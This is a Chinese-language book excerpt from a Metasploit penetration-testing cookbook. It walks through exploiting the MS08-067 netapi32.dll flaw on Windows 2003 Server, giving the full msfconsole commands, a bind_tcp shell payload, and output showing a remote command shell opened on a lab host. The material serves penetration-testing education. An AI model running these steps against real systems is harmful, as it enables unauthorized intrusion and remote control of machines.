本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.5节在Windows 2003 Server上进行渗透测试,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。
3.5 在Windows 2003 Server上进行渗透测试
Metasploit渗透测试手册
在上一节中,我们介绍了怎样使用dcom漏洞利用代码,引发Windows目标机器的缓冲区溢出,并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境,Windows 2003 Server是微软应用最广泛的企业级操作系统之一,本节将介绍怎样对其进行攻击渗透,由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞,所以本节中将尝试使用其他漏洞,即netapi32.dll漏洞。首先分析该漏洞的工作过程,然后分析该漏洞成因。
准备
首先启动msfconsole,并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤,以便增强理解和掌握。下面的内容和前两节讲述的是相同的,差别在于使用的漏洞利用代码不同。
怎样实现
若要在Windows 2003 Server上执行渗透测试,遵循如下步骤。
(1)首先搜索netapi,列出Metasploit框架中所有与netapi相关的漏洞利用代码。
msf > search netapi
Matching Modules
================
Name Disclosure Date Rank
---- --------------- ----
exploit/windows/smb/ms03_049_netapi 2003-11-11 good
exploit/windows/smb/ms06_040_netapi 2006-08-08 good
exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual
exploit/windows/smb/ms08_067_netapi 2008-10-28 great
从结果可以看到,列出的4个结果中,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。
(2)将RHOST设置为Windows 2003 Server目标机器。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use
(BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
Id值为0的含义是不需要指定目标操作系统。
(3)完成漏洞利用代码加载后,设置攻击载荷。这里仍然设置tcp_bind攻击载荷,以便获取目标机器的shell,如前面所讨论的。
msf exploit(ms08_067_netapi) > set payload
windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
漏洞利用代码和攻击载荷都已经设置完毕,最后使用exploit命令并分析该命令的执行结果。
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack 2 - lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 ->
192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:\WINDOWS\system32>
从结果可以看到攻击成功,并建立了到目标主机的shell连接,可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大,在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。
怎样工作
该模块利用了Server服务中的漏洞,即netapi32.dll执行路径连接代码中的分析漏洞,在某些操作系统和服务包中,该漏洞可以绕过NX特性。可用于防止Server服务(以及同一进程中的其他服务)崩溃。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。